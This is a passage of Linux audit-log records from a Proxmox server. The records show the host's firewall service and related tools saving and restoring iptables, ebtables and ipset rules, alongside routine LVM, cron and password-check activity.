{"@timestamp":1781966230883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.883:69010): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375296,"@rawstring":"node=pve type=PATH msg=audit(1781966375.296:69458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.870:63682): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.883:69009): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375296,"@rawstring":"node=pve type=PATH msg=audit(1781966375.296:69458): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.864:63681): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.883:69008): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375290,"@rawstring":"node=pve type=PATH msg=audit(1781966375.290:69457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.858:63680): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.874:69007): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966375290,"@rawstring":"node=pve type=PATH msg=audit(1781966375.290:69457): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025851,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.851:63679): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.874:69006): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966374272,"@rawstring":"node=pve type=PATH msg=audit(1781966374.272:69456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.844:63678): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966230874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966230.874:69005): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966374272,"@rawstring":"node=pve type=PATH msg=audit(1781966374.272:69456): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.841:63677): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5fa8503ee740 items=0 ppid=1156 pid=61090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966226094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.094:69004): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966374234,"@rawstring":"node=pve type=PATH msg=audit(1781966374.234:69455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.839:63676): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.091:69003): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966374234,"@rawstring":"node=pve type=PATH msg=audit(1781966374.234:69455): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.834:63675): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135cf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.090:69002): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PATH msg=audit(1781966371.370:69454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.829:63674): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ba80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.090:69001): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PATH msg=audit(1781966371.370:69454): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.823:63673): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.086:69000): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PATH msg=audit(1781966371.370:69453): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.818:63672): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ba80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.079:68999): proctitle=\"ip6tables-save\""} {"@timestamp":1781966371370,"@rawstring":"node=pve type=PATH msg=audit(1781966371.370:69452): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.813:63671): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c45f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61085 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.071:68998): proctitle=\"iptables-save\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PATH msg=audit(1781966371.356:69451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.806:63670): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.064:68997): proctitle=\"ip6tables-save\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PATH msg=audit(1781966371.356:69451): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.799:63669): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61083 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.056:68996): proctitle=\"iptables-save\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PATH msg=audit(1781966371.356:69450): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.795:63668): arch=c000003e syscall=59 success=yes exit=0 a0=5bbefa8b9d70 a1=5bbefa8c5c00 a2=5bbefa893680 a3=5 items=2 ppid=61076 pid=61082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.053:68995): proctitle=\"ebtables-restore\""} {"@timestamp":1781966371356,"@rawstring":"node=pve type=PATH msg=audit(1781966371.356:69449): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.792:63667): arch=c000003e syscall=59 success=yes exit=0 a0=5bbeeca42ac8 a1=7ffebd2355c0 a2=5bbefa893680 a3=5bbeeca2624e items=2 ppid=61076 pid=61078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.050:68994): proctitle=\"ebtables-restore\""} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PATH msg=audit(1781966366.340:69448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.791:63666): arch=c000003e syscall=59 success=yes exit=0 a0=7ffebd235580 a1=5bbefa8b5410 a2=5bbefa893680 a3=5 items=2 ppid=61076 pid=61077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.045:68993): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PATH msg=audit(1781966366.340:69448): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.787:63664): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.039:68992): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PATH msg=audit(1781966366.340:69447): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.780:63663): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.034:68991): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966366340,"@rawstring":"node=pve type=PATH msg=audit(1781966366.340:69446): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.773:63662): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d7a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.027:68990): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PATH msg=audit(1781966366.331:69445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.768:63661): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12dd00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.019:68989): proctitle=697073657400726573746F7265"} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PATH msg=audit(1781966366.331:69445): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.761:63660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61072 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.012:68988): proctitle=\"ip6tables-save\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PATH msg=audit(1781966366.331:69444): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965025753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.753:63659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03f90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61071 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.004:68987): proctitle=\"iptables-save\""} {"@timestamp":1781966366331,"@rawstring":"node=pve type=PATH msg=audit(1781966366.331:69443): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965024.336:63658): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bb5e0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966226.001:68986): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966365275,"@rawstring":"node=pve type=PATH msg=audit(1781966365.275:69441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965024310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965024.310:63657): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d73dff10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=61067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.998:68985): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966365275,"@rawstring":"node=pve type=PATH msg=audit(1781966365.275:69441): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.942:63654): arch=c000003e syscall=59 success=yes exit=0 a0=5d434e39d5c0 a1=5d434e39d560 a2=5d434e39d580 a3=8 items=2 ppid=61065 pid=61066 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=8 comm=\"run-parts\" exe=\"/usr/bin/run-parts\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.997:68984): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365271,"@rawstring":"node=pve type=PATH msg=audit(1781966365.271:69440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.942:63653): arch=c000003e syscall=59 success=yes exit=0 a0=5b3bb03d8366 a1=7fff3000d320 a2=5b3bb03d8400 a3=5b3bb03d8366 items=2 ppid=61063 pid=61065 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=8 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966225997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.997:68983): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365271,"@rawstring":"node=pve type=PATH msg=audit(1781966365.271:69440): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.940:63650): arch=c000003e syscall=1 success=yes exit=1 a0=7 a1=7fff3000d270 a2=1 a3=0 items=0 ppid=1118 pid=61063 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=8 comm=\"cron\" exe=\"/usr/sbin/cron\" subj=unconfined key=(null)"} {"@timestamp":1781966225993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.993:68982): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966365268,"@rawstring":"node=pve type=PATH msg=audit(1781966365.268:69439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.939:63647): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7c9b56fa8da6 a2=80000 a3=0 items=1 ppid=61063 pid=61064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966225985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.985:68981): proctitle=\"ip6tables-save\""} {"@timestamp":1781966365268,"@rawstring":"node=pve type=PATH msg=audit(1781966365.268:69439): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.938:63646): arch=c000003e syscall=59 success=yes exit=0 a0=7dc91588504a a1=7fff3000cfa0 a2=7dc915888018 a3=0 items=2 ppid=61063 pid=61064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966225977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966225.977:68980): proctitle=\"iptables-save\""} {"@timestamp":1781966365267,"@rawstring":"node=pve type=PATH msg=audit(1781966365.267:69438): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965021518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.518:63645): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" 